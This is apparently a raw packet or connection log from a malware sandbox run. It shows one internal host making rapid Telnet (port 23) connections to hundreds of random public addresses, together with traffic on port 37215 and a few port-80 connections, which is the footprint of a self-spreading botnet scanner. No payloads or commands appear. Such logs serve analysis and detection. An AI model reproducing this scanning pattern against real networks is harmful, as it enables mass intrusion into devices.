Dec 3, 2024 22:02:06.185420036 CET	39808	23	192.168.2.14	126.236.158.162
Dec 3, 2024 22:02:06.185427904 CET	39808	23	192.168.2.14	45.49.46.237
Dec 3, 2024 22:02:06.185431957 CET	39808	23	192.168.2.14	207.32.102.139
Dec 3, 2024 22:02:06.185435057 CET	39808	23	192.168.2.14	13.6.141.121
Dec 3, 2024 22:02:06.185446978 CET	39808	23	192.168.2.14	179.246.40.67
Dec 3, 2024 22:02:06.185450077 CET	39808	23	192.168.2.14	130.76.226.107
Dec 3, 2024 22:02:06.185467005 CET	39808	23	192.168.2.14	118.19.81.52
Dec 3, 2024 22:02:06.185467005 CET	39808	23	192.168.2.14	110.237.197.179
Dec 3, 2024 22:02:06.185467005 CET	39808	23	192.168.2.14	133.240.168.72
Dec 3, 2024 22:02:06.185470104 CET	39808	23	192.168.2.14	69.147.160.71
Dec 3, 2024 22:02:06.185482025 CET	39808	23	192.168.2.14	118.64.66.211
Dec 3, 2024 22:02:06.185482025 CET	39808	23	192.168.2.14	185.107.127.141
Dec 3, 2024 22:02:06.185482025 CET	39808	23	192.168.2.14	70.195.212.74
Dec 3, 2024 22:02:06.185496092 CET	39808	23	192.168.2.14	132.108.251.193
Dec 3, 2024 22:02:06.185508966 CET	39808	23	192.168.2.14	36.160.34.111
Dec 3, 2024 22:02:06.185508966 CET	39808	23	192.168.2.14	117.141.182.199
Dec 3, 2024 22:02:06.185514927 CET	39808	23	192.168.2.14	126.141.50.142
Dec 3, 2024 22:02:06.185518980 CET	39808	23	192.168.2.14	151.254.29.189
Dec 3, 2024 22:02:06.185518980 CET	39808	23	192.168.2.14	184.105.90.223
Dec 3, 2024 22:02:06.185534954 CET	39808	23	192.168.2.14	103.144.116.181
Dec 3, 2024 22:02:06.185534954 CET	39808	23	192.168.2.14	169.20.158.154
Dec 3, 2024 22:02:06.185539961 CET	39808	23	192.168.2.14	40.42.226.125
Dec 3, 2024 22:02:06.185554028 CET	39808	23	192.168.2.14	60.170.209.6
Dec 3, 2024 22:02:06.185555935 CET	39808	23	192.168.2.14	200.236.96.212
Dec 3, 2024 22:02:06.185558081 CET	39808	23	192.168.2.14	117.164.98.148
Dec 3, 2024 22:02:06.185560942 CET	39808	23	192.168.2.14	133.121.79.234
Dec 3, 2024 22:02:06.185571909 CET	39808	23	192.168.2.14	198.40.218.248
Dec 3, 2024 22:02:06.185581923 CET	39808	23	192.168.2.14	49.47.54.45
Dec 3, 2024 22:02:06.185581923 CET	39808	23	192.168.2.14	165.122.103.174
Dec 3, 2024 22:02:06.185590029 CET	39808	23	192.168.2.14	205.20.88.169
Dec 3, 2024 22:02:06.185596943 CET	39808	23	192.168.2.14	75.182.201.44
Dec 3, 2024 22:02:06.185596943 CET	39808	23	192.168.2.14	24.254.52.57
Dec 3, 2024 22:02:06.185600042 CET	39808	23	192.168.2.14	217.97.65.228
Dec 3, 2024 22:02:06.185621023 CET	39808	23	192.168.2.14	148.45.234.191
Dec 3, 2024 22:02:06.185621977 CET	39808	23	192.168.2.14	70.136.246.123
Dec 3, 2024 22:02:06.185621977 CET	39808	23	192.168.2.14	211.111.221.147
Dec 3, 2024 22:02:06.185631990 CET	39808	23	192.168.2.14	93.17.194.12
Dec 3, 2024 22:02:06.185636997 CET	39808	23	192.168.2.14	96.127.139.106
Dec 3, 2024 22:02:06.185648918 CET	39808	23	192.168.2.14	199.141.83.127
Dec 3, 2024 22:02:06.185648918 CET	39808	23	192.168.2.14	165.231.146.240
Dec 3, 2024 22:02:06.185657978 CET	39808	23	192.168.2.14	167.203.145.73
Dec 3, 2024 22:02:06.185657978 CET	39808	23	192.168.2.14	124.7.80.112
Dec 3, 2024 22:02:06.185676098 CET	39808	23	192.168.2.14	65.153.19.179
Dec 3, 2024 22:02:06.185677052 CET	39808	23	192.168.2.14	44.253.177.242
Dec 3, 2024 22:02:06.185678005 CET	39808	23	192.168.2.14	49.246.171.57
Dec 3, 2024 22:02:06.185689926 CET	39808	23	192.168.2.14	106.207.91.151
Dec 3, 2024 22:02:06.185698986 CET	39808	23	192.168.2.14	155.45.171.10
Dec 3, 2024 22:02:06.185698986 CET	39808	23	192.168.2.14	90.185.129.143
Dec 3, 2024 22:02:06.185705900 CET	39808	23	192.168.2.14	198.13.173.220
Dec 3, 2024 22:02:06.185715914 CET	39808	23	192.168.2.14	218.170.249.216
Dec 3, 2024 22:02:06.185726881 CET	39808	23	192.168.2.14	70.133.223.234
Dec 3, 2024 22:02:06.185728073 CET	39808	23	192.168.2.14	211.89.202.225
Dec 3, 2024 22:02:06.185728073 CET	39808	23	192.168.2.14	204.120.98.249
Dec 3, 2024 22:02:06.185731888 CET	39808	23	192.168.2.14	193.211.255.41
Dec 3, 2024 22:02:06.185738087 CET	39808	23	192.168.2.14	206.104.106.244
Dec 3, 2024 22:02:06.185750961 CET	39808	23	192.168.2.14	65.58.109.248
Dec 3, 2024 22:02:06.185750961 CET	39808	23	192.168.2.14	35.209.74.154
Dec 3, 2024 22:02:06.185755968 CET	39808	23	192.168.2.14	76.84.111.5
Dec 3, 2024 22:02:06.185759068 CET	39808	23	192.168.2.14	61.1.129.251
Dec 3, 2024 22:02:06.185769081 CET	39808	23	192.168.2.14	209.132.181.30
Dec 3, 2024 22:02:06.185774088 CET	39808	23	192.168.2.14	23.144.191.240
Dec 3, 2024 22:02:06.185781956 CET	39808	23	192.168.2.14	47.89.144.177
Dec 3, 2024 22:02:06.185781956 CET	39808	23	192.168.2.14	13.6.11.212
Dec 3, 2024 22:02:06.185813904 CET	39808	23	192.168.2.14	40.178.162.255
Dec 3, 2024 22:02:06.185815096 CET	39808	23	192.168.2.14	135.87.138.90
Dec 3, 2024 22:02:06.185815096 CET	39808	23	192.168.2.14	163.199.53.27
Dec 3, 2024 22:02:06.185832024 CET	39808	23	192.168.2.14	88.188.64.243
Dec 3, 2024 22:02:06.185834885 CET	39808	23	192.168.2.14	97.224.108.45
Dec 3, 2024 22:02:06.185838938 CET	39808	23	192.168.2.14	17.46.127.168
Dec 3, 2024 22:02:06.185847998 CET	39808	23	192.168.2.14	152.147.111.167
Dec 3, 2024 22:02:06.185857058 CET	39808	23	192.168.2.14	90.21.162.247
Dec 3, 2024 22:02:06.185857058 CET	39808	23	192.168.2.14	76.249.22.166
Dec 3, 2024 22:02:06.185859919 CET	39808	23	192.168.2.14	186.114.117.161
Dec 3, 2024 22:02:06.185859919 CET	37215	34158	41.231.216.149	192.168.2.14
Dec 3, 2024 22:02:06.185861111 CET	39808	23	192.168.2.14	205.100.46.56
Dec 3, 2024 22:02:06.185864925 CET	39808	23	192.168.2.14	46.42.204.163
Dec 3, 2024 22:02:06.185878992 CET	39808	23	192.168.2.14	151.52.228.216
Dec 3, 2024 22:02:06.185884953 CET	39808	23	192.168.2.14	91.87.243.42
Dec 3, 2024 22:02:06.185902119 CET	39808	23	192.168.2.14	141.72.172.181
Dec 3, 2024 22:02:06.185904026 CET	39808	23	192.168.2.14	171.106.162.95
Dec 3, 2024 22:02:06.185910940 CET	39808	23	192.168.2.14	145.102.160.15
Dec 3, 2024 22:02:06.185910940 CET	39808	23	192.168.2.14	161.6.47.72
Dec 3, 2024 22:02:06.185910940 CET	39808	23	192.168.2.14	209.99.254.113
Dec 3, 2024 22:02:06.185920954 CET	39808	23	192.168.2.14	45.182.40.242
Dec 3, 2024 22:02:06.185935020 CET	39808	23	192.168.2.14	12.104.183.53
Dec 3, 2024 22:02:06.185945034 CET	39808	23	192.168.2.14	204.166.82.32
Dec 3, 2024 22:02:06.185949087 CET	39808	23	192.168.2.14	66.92.42.48
Dec 3, 2024 22:02:06.185961008 CET	39808	23	192.168.2.14	197.117.165.156
Dec 3, 2024 22:02:06.185962915 CET	39808	23	192.168.2.14	171.67.228.66
Dec 3, 2024 22:02:06.185971975 CET	39808	23	192.168.2.14	13.28.2.5
Dec 3, 2024 22:02:06.185976982 CET	39808	23	192.168.2.14	115.42.221.170
Dec 3, 2024 22:02:06.185977936 CET	39808	23	192.168.2.14	34.102.87.37
Dec 3, 2024 22:02:06.185995102 CET	39808	23	192.168.2.14	39.31.39.196
Dec 3, 2024 22:02:06.185998917 CET	39808	23	192.168.2.14	139.200.117.15
Dec 3, 2024 22:02:06.186013937 CET	39808	23	192.168.2.14	162.199.23.28
Dec 3, 2024 22:02:06.186013937 CET	39808	23	192.168.2.14	51.96.229.247
Dec 3, 2024 22:02:06.186016083 CET	39808	23	192.168.2.14	39.247.254.64
Dec 3, 2024 22:02:06.186023951 CET	39808	23	192.168.2.14	131.25.128.54
Dec 3, 2024 22:02:06.186045885 CET	39808	23	192.168.2.14	223.216.29.153
Dec 3, 2024 22:02:06.186045885 CET	39808	23	192.168.2.14	135.88.184.174
Dec 3, 2024 22:02:06.186045885 CET	39808	23	192.168.2.14	148.187.190.70
Dec 3, 2024 22:02:06.186045885 CET	39808	23	192.168.2.14	166.238.40.216
Dec 3, 2024 22:02:06.186058044 CET	39808	23	192.168.2.14	147.252.17.170
Dec 3, 2024 22:02:06.186060905 CET	39808	23	192.168.2.14	43.191.67.186
Dec 3, 2024 22:02:06.186063051 CET	39808	23	192.168.2.14	182.220.244.88
Dec 3, 2024 22:02:06.186064959 CET	39808	23	192.168.2.14	170.211.36.49
Dec 3, 2024 22:02:06.186075926 CET	39808	23	192.168.2.14	97.68.8.9
Dec 3, 2024 22:02:06.186084032 CET	39808	23	192.168.2.14	27.194.226.168
Dec 3, 2024 22:02:06.186084032 CET	39808	23	192.168.2.14	177.190.24.61
Dec 3, 2024 22:02:06.186084032 CET	39808	23	192.168.2.14	80.78.86.187
Dec 3, 2024 22:02:06.186094046 CET	39808	23	192.168.2.14	75.16.122.77
Dec 3, 2024 22:02:06.186094046 CET	39808	23	192.168.2.14	156.233.254.51
Dec 3, 2024 22:02:06.186110020 CET	39808	23	192.168.2.14	54.98.119.43
Dec 3, 2024 22:02:06.186113119 CET	39808	23	192.168.2.14	14.86.37.90
Dec 3, 2024 22:02:06.186115980 CET	39808	23	192.168.2.14	113.206.68.21
Dec 3, 2024 22:02:06.186116934 CET	39808	23	192.168.2.14	100.4.214.165
Dec 3, 2024 22:02:06.186139107 CET	39808	23	192.168.2.14	35.46.29.126
Dec 3, 2024 22:02:06.186139107 CET	39808	23	192.168.2.14	151.30.5.48
Dec 3, 2024 22:02:06.186141968 CET	39808	23	192.168.2.14	183.113.222.110
Dec 3, 2024 22:02:06.186145067 CET	39808	23	192.168.2.14	156.85.65.109
Dec 3, 2024 22:02:06.186156034 CET	39808	23	192.168.2.14	200.124.186.60
Dec 3, 2024 22:02:06.186156988 CET	39808	23	192.168.2.14	157.106.205.9
Dec 3, 2024 22:02:06.186161041 CET	39808	23	192.168.2.14	8.89.0.68
Dec 3, 2024 22:02:06.186167955 CET	39808	23	192.168.2.14	167.7.133.159
Dec 3, 2024 22:02:06.186183929 CET	39808	23	192.168.2.14	69.174.90.203
Dec 3, 2024 22:02:06.186183929 CET	39808	23	192.168.2.14	113.194.82.212
Dec 3, 2024 22:02:06.186187983 CET	39808	23	192.168.2.14	150.233.90.196
Dec 3, 2024 22:02:06.186194897 CET	39808	23	192.168.2.14	187.187.225.45
Dec 3, 2024 22:02:06.186204910 CET	39808	23	192.168.2.14	141.121.10.227
Dec 3, 2024 22:02:06.186218977 CET	39808	23	192.168.2.14	47.249.101.218
Dec 3, 2024 22:02:06.186234951 CET	39808	23	192.168.2.14	50.173.39.183
Dec 3, 2024 22:02:06.186235905 CET	39808	23	192.168.2.14	40.117.107.177
Dec 3, 2024 22:02:06.186240911 CET	39808	23	192.168.2.14	100.211.203.48
Dec 3, 2024 22:02:06.186253071 CET	39808	23	192.168.2.14	53.56.33.141
Dec 3, 2024 22:02:06.186254978 CET	39808	23	192.168.2.14	49.155.71.22
Dec 3, 2024 22:02:06.186259031 CET	39808	23	192.168.2.14	155.46.181.191
Dec 3, 2024 22:02:06.186259985 CET	39808	23	192.168.2.14	141.58.116.18
Dec 3, 2024 22:02:06.186278105 CET	39808	23	192.168.2.14	39.193.98.59
Dec 3, 2024 22:02:06.186278105 CET	39808	23	192.168.2.14	31.241.35.184
Dec 3, 2024 22:02:06.186278105 CET	39808	23	192.168.2.14	137.151.2.148
Dec 3, 2024 22:02:06.186281919 CET	39808	23	192.168.2.14	188.239.230.63
Dec 3, 2024 22:02:06.186299086 CET	39808	23	192.168.2.14	53.249.77.41
Dec 3, 2024 22:02:06.186300039 CET	39808	23	192.168.2.14	115.60.108.218
Dec 3, 2024 22:02:06.186305046 CET	39808	23	192.168.2.14	82.246.46.24
Dec 3, 2024 22:02:06.186317921 CET	39808	23	192.168.2.14	191.206.154.115
Dec 3, 2024 22:02:06.186322927 CET	39808	23	192.168.2.14	92.119.242.64
Dec 3, 2024 22:02:06.186336040 CET	39808	23	192.168.2.14	148.113.107.211
Dec 3, 2024 22:02:06.186340094 CET	39808	23	192.168.2.14	172.116.165.35
Dec 3, 2024 22:02:06.186340094 CET	39808	23	192.168.2.14	75.69.243.222
Dec 3, 2024 22:02:06.186351061 CET	39808	23	192.168.2.14	212.5.240.45
Dec 3, 2024 22:02:06.186355114 CET	39808	23	192.168.2.14	189.212.57.57
Dec 3, 2024 22:02:06.186356068 CET	39808	23	192.168.2.14	72.163.21.201
Dec 3, 2024 22:02:06.186359882 CET	37215	52498	156.218.161.155	192.168.2.14
Dec 3, 2024 22:02:06.186378002 CET	39808	23	192.168.2.14	186.133.55.27
Dec 3, 2024 22:02:06.186378002 CET	39808	23	192.168.2.14	118.33.236.115
Dec 3, 2024 22:02:06.186392069 CET	39808	23	192.168.2.14	176.168.177.239
Dec 3, 2024 22:02:06.186407089 CET	39808	23	192.168.2.14	150.105.22.127
Dec 3, 2024 22:02:06.186408043 CET	39808	23	192.168.2.14	158.17.245.252
Dec 3, 2024 22:02:06.186408997 CET	39808	23	192.168.2.14	173.202.77.162
Dec 3, 2024 22:02:06.186408997 CET	39808	23	192.168.2.14	222.250.239.176
Dec 3, 2024 22:02:06.186424971 CET	39808	23	192.168.2.14	82.190.1.182
Dec 3, 2024 22:02:06.186428070 CET	39808	23	192.168.2.14	93.255.198.186
Dec 3, 2024 22:02:06.186440945 CET	39808	23	192.168.2.14	114.13.110.245
Dec 3, 2024 22:02:06.186443090 CET	39808	23	192.168.2.14	151.20.49.8
Dec 3, 2024 22:02:06.186455965 CET	39808	23	192.168.2.14	52.250.228.129
Dec 3, 2024 22:02:06.186455965 CET	39808	23	192.168.2.14	217.110.188.105
Dec 3, 2024 22:02:06.186460972 CET	39808	23	192.168.2.14	163.168.76.4
Dec 3, 2024 22:02:06.186463118 CET	39808	23	192.168.2.14	170.111.142.133
Dec 3, 2024 22:02:06.186463118 CET	39808	23	192.168.2.14	201.129.203.16
Dec 3, 2024 22:02:06.186477900 CET	39808	23	192.168.2.14	93.254.169.200
Dec 3, 2024 22:02:06.186477900 CET	39808	23	192.168.2.14	167.104.80.196
Dec 3, 2024 22:02:06.186486006 CET	39808	23	192.168.2.14	66.250.251.78
Dec 3, 2024 22:02:06.186500072 CET	39808	23	192.168.2.14	108.154.214.34
Dec 3, 2024 22:02:06.186502934 CET	39808	23	192.168.2.14	132.15.13.249
Dec 3, 2024 22:02:06.186506033 CET	39808	23	192.168.2.14	174.168.18.240
Dec 3, 2024 22:02:06.186512947 CET	39808	23	192.168.2.14	213.239.145.20
Dec 3, 2024 22:02:06.186516047 CET	39808	23	192.168.2.14	155.46.210.234
Dec 3, 2024 22:02:06.186526060 CET	39808	23	192.168.2.14	206.237.6.80
Dec 3, 2024 22:02:06.186528921 CET	39808	23	192.168.2.14	202.180.255.34
Dec 3, 2024 22:02:06.186528921 CET	39808	23	192.168.2.14	94.21.58.28
Dec 3, 2024 22:02:06.186537027 CET	39808	23	192.168.2.14	198.8.172.141
Dec 3, 2024 22:02:06.186541080 CET	39808	23	192.168.2.14	50.158.106.149
Dec 3, 2024 22:02:06.186548948 CET	39808	23	192.168.2.14	76.76.189.127
Dec 3, 2024 22:02:06.186563015 CET	39808	23	192.168.2.14	156.111.58.80
Dec 3, 2024 22:02:06.186566114 CET	39808	23	192.168.2.14	129.15.153.84
Dec 3, 2024 22:02:06.186567068 CET	39808	23	192.168.2.14	175.154.156.150
Dec 3, 2024 22:02:06.186568022 CET	39808	23	192.168.2.14	110.237.235.131
Dec 3, 2024 22:02:06.186569929 CET	39808	23	192.168.2.14	211.135.172.249
Dec 3, 2024 22:02:06.186572075 CET	39808	23	192.168.2.14	99.252.171.197
Dec 3, 2024 22:02:06.186578035 CET	39808	23	192.168.2.14	87.82.238.106
Dec 3, 2024 22:02:06.186580896 CET	39808	23	192.168.2.14	212.118.137.57
Dec 3, 2024 22:02:06.186585903 CET	39808	23	192.168.2.14	213.236.254.216
Dec 3, 2024 22:02:06.186585903 CET	39808	23	192.168.2.14	75.46.228.215
Dec 3, 2024 22:02:06.186608076 CET	39808	23	192.168.2.14	104.195.201.235
Dec 3, 2024 22:02:06.186608076 CET	39808	23	192.168.2.14	69.158.114.103
Dec 3, 2024 22:02:06.186610937 CET	39808	23	192.168.2.14	175.243.226.150
Dec 3, 2024 22:02:06.186625004 CET	39808	23	192.168.2.14	159.197.199.137
Dec 3, 2024 22:02:06.186630011 CET	39808	23	192.168.2.14	53.132.91.80
Dec 3, 2024 22:02:06.186630011 CET	39808	23	192.168.2.14	48.48.143.58
Dec 3, 2024 22:02:06.186642885 CET	39808	23	192.168.2.14	119.213.201.38
Dec 3, 2024 22:02:06.186644077 CET	39808	23	192.168.2.14	135.252.100.89
Dec 3, 2024 22:02:06.186645031 CET	39808	23	192.168.2.14	90.26.150.119
Dec 3, 2024 22:02:06.186655045 CET	39808	23	192.168.2.14	51.191.231.103
Dec 3, 2024 22:02:06.186671019 CET	39808	23	192.168.2.14	186.120.16.132
Dec 3, 2024 22:02:06.186675072 CET	39808	23	192.168.2.14	194.187.97.8
Dec 3, 2024 22:02:06.186677933 CET	39808	23	192.168.2.14	101.69.156.95
Dec 3, 2024 22:02:06.186697006 CET	39808	23	192.168.2.14	217.210.206.62
Dec 3, 2024 22:02:06.186697006 CET	39808	23	192.168.2.14	81.52.72.115
Dec 3, 2024 22:02:06.186700106 CET	39808	23	192.168.2.14	220.148.230.41
Dec 3, 2024 22:02:06.186697006 CET	39808	23	192.168.2.14	90.249.96.36
Dec 3, 2024 22:02:06.186697006 CET	39808	23	192.168.2.14	106.150.174.175
Dec 3, 2024 22:02:06.186706066 CET	39808	23	192.168.2.14	32.89.32.234
Dec 3, 2024 22:02:06.186707973 CET	39808	23	192.168.2.14	72.208.165.104
Dec 3, 2024 22:02:06.186707973 CET	39808	23	192.168.2.14	51.146.64.81
Dec 3, 2024 22:02:06.186723948 CET	39808	23	192.168.2.14	85.63.47.3
Dec 3, 2024 22:02:06.186727047 CET	39808	23	192.168.2.14	91.244.18.157
Dec 3, 2024 22:02:06.186728954 CET	39808	23	192.168.2.14	60.79.106.238
Dec 3, 2024 22:02:06.186738014 CET	39808	23	192.168.2.14	107.217.202.220
Dec 3, 2024 22:02:06.186747074 CET	39808	23	192.168.2.14	189.185.203.201
Dec 3, 2024 22:02:06.186753988 CET	39808	23	192.168.2.14	101.185.68.146
Dec 3, 2024 22:02:06.186769009 CET	39808	23	192.168.2.14	68.63.64.9
Dec 3, 2024 22:02:06.186785936 CET	39808	23	192.168.2.14	8.172.148.247
Dec 3, 2024 22:02:06.186789036 CET	39808	23	192.168.2.14	75.163.195.40
Dec 3, 2024 22:02:06.186789036 CET	39808	23	192.168.2.14	89.32.113.90
Dec 3, 2024 22:02:06.186789036 CET	39808	23	192.168.2.14	110.178.96.184
Dec 3, 2024 22:02:06.186798096 CET	39808	23	192.168.2.14	197.225.16.83
Dec 3, 2024 22:02:06.186799049 CET	39808	23	192.168.2.14	12.211.247.10
Dec 3, 2024 22:02:06.186799049 CET	39808	23	192.168.2.14	62.153.97.180
Dec 3, 2024 22:02:06.186803102 CET	39808	23	192.168.2.14	65.147.4.240
Dec 3, 2024 22:02:06.186805964 CET	39808	23	192.168.2.14	144.182.66.55
Dec 3, 2024 22:02:06.186815977 CET	39808	23	192.168.2.14	156.67.33.16
Dec 3, 2024 22:02:06.186821938 CET	39808	23	192.168.2.14	221.67.75.101
Dec 3, 2024 22:02:06.186830044 CET	39808	23	192.168.2.14	45.223.42.50
Dec 3, 2024 22:02:06.186839104 CET	39808	23	192.168.2.14	168.54.159.197
Dec 3, 2024 22:02:06.186844110 CET	39808	23	192.168.2.14	42.129.197.67
Dec 3, 2024 22:02:06.186851025 CET	39808	23	192.168.2.14	167.213.251.102
Dec 3, 2024 22:02:06.186863899 CET	39808	23	192.168.2.14	212.5.137.46
Dec 3, 2024 22:02:06.186870098 CET	39808	23	192.168.2.14	174.45.42.144
Dec 3, 2024 22:02:06.186871052 CET	39808	23	192.168.2.14	68.40.61.135
Dec 3, 2024 22:02:06.186891079 CET	39808	23	192.168.2.14	100.216.124.114
Dec 3, 2024 22:02:06.186892033 CET	39808	23	192.168.2.14	89.89.173.237
Dec 3, 2024 22:02:06.186892033 CET	39808	23	192.168.2.14	112.4.240.131
Dec 3, 2024 22:02:06.186894894 CET	39808	23	192.168.2.14	176.104.223.151
Dec 3, 2024 22:02:06.186897993 CET	39808	23	192.168.2.14	122.249.252.23
Dec 3, 2024 22:02:06.186908960 CET	39808	23	192.168.2.14	83.242.134.150
Dec 3, 2024 22:02:06.186909914 CET	39808	23	192.168.2.14	20.74.157.135
Dec 3, 2024 22:02:06.186914921 CET	39808	23	192.168.2.14	1.6.220.88
Dec 3, 2024 22:02:06.186914921 CET	39808	23	192.168.2.14	80.166.160.69
Dec 3, 2024 22:02:06.186916113 CET	39808	23	192.168.2.14	207.82.200.79
Dec 3, 2024 22:02:06.186930895 CET	39808	23	192.168.2.14	66.107.215.54
Dec 3, 2024 22:02:06.186933041 CET	39808	23	192.168.2.14	201.211.226.160
Dec 3, 2024 22:02:06.186939955 CET	39808	23	192.168.2.14	111.213.48.117
Dec 3, 2024 22:02:06.186945915 CET	39808	23	192.168.2.14	75.54.119.140
Dec 3, 2024 22:02:06.186950922 CET	39808	23	192.168.2.14	80.97.180.6
Dec 3, 2024 22:02:06.186950922 CET	39808	23	192.168.2.14	152.103.214.109
Dec 3, 2024 22:02:06.186950922 CET	39808	23	192.168.2.14	116.231.197.223
Dec 3, 2024 22:02:06.186971903 CET	39808	23	192.168.2.14	36.62.103.16
Dec 3, 2024 22:02:06.186973095 CET	39808	23	192.168.2.14	151.8.56.108
Dec 3, 2024 22:02:06.186973095 CET	39808	23	192.168.2.14	210.162.61.83
Dec 3, 2024 22:02:06.186978102 CET	39808	23	192.168.2.14	47.203.140.121
Dec 3, 2024 22:02:06.186980009 CET	39808	23	192.168.2.14	13.40.6.42
Dec 3, 2024 22:02:06.186986923 CET	39808	23	192.168.2.14	206.30.104.152
Dec 3, 2024 22:02:06.186995983 CET	39808	23	192.168.2.14	111.8.248.202
Dec 3, 2024 22:02:06.187016010 CET	39808	23	192.168.2.14	60.7.245.144
Dec 3, 2024 22:02:06.187021971 CET	39808	23	192.168.2.14	103.240.42.251
Dec 3, 2024 22:02:06.187022924 CET	39808	23	192.168.2.14	112.136.146.220
Dec 3, 2024 22:02:06.187022924 CET	39808	23	192.168.2.14	208.244.221.127
Dec 3, 2024 22:02:06.187027931 CET	39808	23	192.168.2.14	105.200.201.125
Dec 3, 2024 22:02:06.187032938 CET	39808	23	192.168.2.14	89.159.77.171
Dec 3, 2024 22:02:06.187033892 CET	39808	23	192.168.2.14	68.148.57.228
Dec 3, 2024 22:02:06.187051058 CET	39808	23	192.168.2.14	58.15.71.80
Dec 3, 2024 22:02:06.187052011 CET	39808	23	192.168.2.14	35.9.185.225
Dec 3, 2024 22:02:06.187058926 CET	39808	23	192.168.2.14	139.199.4.156
Dec 3, 2024 22:02:06.187064886 CET	39808	23	192.168.2.14	57.192.18.220
Dec 3, 2024 22:02:06.187073946 CET	39808	23	192.168.2.14	111.230.96.3
Dec 3, 2024 22:02:06.187091112 CET	39808	23	192.168.2.14	72.201.162.200
Dec 3, 2024 22:02:06.187093019 CET	39808	23	192.168.2.14	208.113.163.229
Dec 3, 2024 22:02:06.187093019 CET	39808	23	192.168.2.14	141.8.190.31
Dec 3, 2024 22:02:06.187093973 CET	39808	23	192.168.2.14	119.151.15.74
Dec 3, 2024 22:02:06.187098026 CET	39808	23	192.168.2.14	46.115.60.204
Dec 3, 2024 22:02:06.187099934 CET	39808	23	192.168.2.14	147.62.237.60
Dec 3, 2024 22:02:06.187103033 CET	39808	23	192.168.2.14	122.213.138.55
Dec 3, 2024 22:02:06.187103033 CET	39808	23	192.168.2.14	191.169.14.115
Dec 3, 2024 22:02:06.187103987 CET	39808	23	192.168.2.14	67.196.45.193
Dec 3, 2024 22:02:06.187107086 CET	39808	23	192.168.2.14	102.158.47.99
Dec 3, 2024 22:02:06.187118053 CET	37215	49772	156.97.134.32	192.168.2.14
Dec 3, 2024 22:02:06.187120914 CET	39808	23	192.168.2.14	132.142.60.250
Dec 3, 2024 22:02:06.187125921 CET	39808	23	192.168.2.14	160.186.153.130
Dec 3, 2024 22:02:06.187125921 CET	39808	23	192.168.2.14	142.52.27.218
Dec 3, 2024 22:02:06.187128067 CET	39808	23	192.168.2.14	77.38.104.132
Dec 3, 2024 22:02:06.187128067 CET	39808	23	192.168.2.14	193.21.51.99
Dec 3, 2024 22:02:06.187141895 CET	39808	23	192.168.2.14	103.149.201.231
Dec 3, 2024 22:02:06.187271118 CET	37215	50444	156.97.134.32	192.168.2.14
Dec 3, 2024 22:02:06.187316895 CET	50444	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:06.187345982 CET	50444	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:06.187679052 CET	37215	42738	197.49.101.41	192.168.2.14
Dec 3, 2024 22:02:06.188385963 CET	37215	46224	41.246.60.179	192.168.2.14
Dec 3, 2024 22:02:06.189058065 CET	37215	57094	41.10.137.114	192.168.2.14
Dec 3, 2024 22:02:06.202517033 CET	37215	34028	197.19.145.209	192.168.2.14
Dec 3, 2024 22:02:06.203134060 CET	37215	34696	197.19.145.209	192.168.2.14
Dec 3, 2024 22:02:06.203185081 CET	34696	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:06.203212023 CET	37215	38414	41.68.117.52	192.168.2.14
Dec 3, 2024 22:02:06.203350067 CET	34696	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:06.203584909 CET	37215	51700	41.118.194.99	192.168.2.14
Dec 3, 2024 22:02:06.204323053 CET	37215	37010	156.117.91.14	192.168.2.14
Dec 3, 2024 22:02:06.205107927 CET	37215	49020	156.48.132.91	192.168.2.14
Dec 3, 2024 22:02:06.205678940 CET	37215	44634	197.97.53.20	192.168.2.14
Dec 3, 2024 22:02:06.206346035 CET	37215	49882	197.119.230.197	192.168.2.14
Dec 3, 2024 22:02:06.207016945 CET	37215	50396	197.197.86.116	192.168.2.14
Dec 3, 2024 22:02:06.207374096 CET	37215	51066	197.197.86.116	192.168.2.14
Dec 3, 2024 22:02:06.207423925 CET	51066	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:06.207443953 CET	51066	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:06.207712889 CET	37215	48674	41.92.97.54	192.168.2.14
Dec 3, 2024 22:02:06.208452940 CET	37215	57636	41.3.168.87	192.168.2.14
Dec 3, 2024 22:02:06.209023952 CET	37215	43360	156.64.242.57	192.168.2.14
Dec 3, 2024 22:02:06.209757090 CET	37215	49322	41.114.48.9	192.168.2.14
Dec 3, 2024 22:02:06.210381985 CET	37215	36356	41.72.83.125	192.168.2.14
Dec 3, 2024 22:02:06.211035013 CET	37215	48250	197.37.224.195	192.168.2.14
Dec 3, 2024 22:02:06.211630106 CET	37215	37468	197.198.71.1	192.168.2.14
Dec 3, 2024 22:02:06.212486029 CET	37215	52120	197.195.158.99	192.168.2.14
Dec 3, 2024 22:02:06.213203907 CET	37215	46448	156.7.166.118	192.168.2.14
Dec 3, 2024 22:02:06.213741064 CET	37215	46914	197.174.91.252	192.168.2.14
Dec 3, 2024 22:02:06.214466095 CET	37215	47430	41.41.138.225	192.168.2.14
Dec 3, 2024 22:02:06.215014935 CET	37215	35768	41.240.186.144	192.168.2.14
Dec 3, 2024 22:02:06.215306044 CET	37215	36438	41.240.186.144	192.168.2.14
Dec 3, 2024 22:02:06.215351105 CET	36438	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:06.215359926 CET	37215	59866	41.153.253.195	192.168.2.14
Dec 3, 2024 22:02:06.215370893 CET	37215	33422	197.231.16.59	192.168.2.14
Dec 3, 2024 22:02:06.215380907 CET	37215	38806	156.72.185.93	192.168.2.14
Dec 3, 2024 22:02:06.215394020 CET	36438	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:06.215468884 CET	37215	38556	156.180.52.49	192.168.2.14
Dec 3, 2024 22:02:06.215747118 CET	37215	38236	197.188.21.100	192.168.2.14
Dec 3, 2024 22:02:06.216351986 CET	37215	49074	41.242.231.240	192.168.2.14
Dec 3, 2024 22:02:06.217071056 CET	37215	45228	41.66.212.146	192.168.2.14
Dec 3, 2024 22:02:06.217292070 CET	37686	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:06.217294931 CET	46776	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:06.217297077 CET	43874	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:06.217302084 CET	56682	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:06.217314005 CET	51572	80	192.168.2.14	44.122.74.244
